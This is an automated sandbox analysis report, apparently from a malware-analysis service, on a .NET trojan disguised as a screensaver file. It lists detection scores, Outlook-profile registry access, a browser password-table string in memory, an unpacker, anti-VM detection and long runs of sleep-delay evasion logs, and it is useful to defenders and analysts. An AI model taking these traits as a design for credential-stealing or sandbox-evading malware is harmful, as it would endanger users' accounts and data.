Source: 1.2.PT98765445670009.scr.exe.3f93da0.4.raw.unpack, DarkComboBox.cs	Base64 encoded string: 'Uwm+UuKGd614I69RzLI93aXq8M4plP4Fl8XGnAA54HkS/0jMOBsYAdDU3ufQvFFjYZJP0JeYZcnDYanLTNfb9IJuC/u1be1KdJkORevGYuzVlkHzJtU9FNAhjxyJAuY/'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PT98765445670009.scr.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Mutant created: NULL

Source: PT98765445670009.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PT98765445670009.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PT98765445670009.scr.exe, 00000002.00000002.3688666945.000000000307C000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000003089000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000003046000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000003055000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000003037000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3689720823.0000000003E6F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PT98765445670009.scr.exe	ReversingLabs: Detection: 50%
Source: PT98765445670009.scr.exe	Virustotal: Detection: 59%

Source: unknown	Process created: C:\Users\user\Desktop\PT98765445670009.scr.exe "C:\Users\user\Desktop\PT98765445670009.scr.exe"
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process created: C:\Users\user\Desktop\PT98765445670009.scr.exe "C:\Users\user\Desktop\PT98765445670009.scr.exe"
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process created: C:\Users\user\Desktop\PT98765445670009.scr.exe "C:\Users\user\Desktop\PT98765445670009.scr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PT98765445670009.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PT98765445670009.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Data Obfuscation

.NET source code contains potential unpacker

Source: PT98765445670009.scr.exe, GxZCryAUUnpZBQsGErUvCiE.cs

.Net Code: Shlyber System.AppDomain.Load(byte[])

Source: PT98765445670009.scr.exe

Static PE information: 0xF9CC3123 [Sat Oct 21 21:18:27 2102 UTC]

Source: PT98765445670009.scr.exe

Static PE information: section name: .text entropy: 7.276750369053607

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 14B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 2F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 2B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 2DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Memory allocated: 2B40000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599873	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599284	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598817	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597339	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595572	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594919	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594484	Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Window / User API: threadDelayed 2216			Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Window / User API: threadDelayed 7627			Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 6684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599873s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 3588	Thread sleep count: 2216 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 3588	Thread sleep count: 7627 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599284s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -599046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598817s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597339s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595572s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -594919s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe TID: 4340	Thread sleep time: -594484s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599873	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599284	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598817	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598250	Jump to behavior
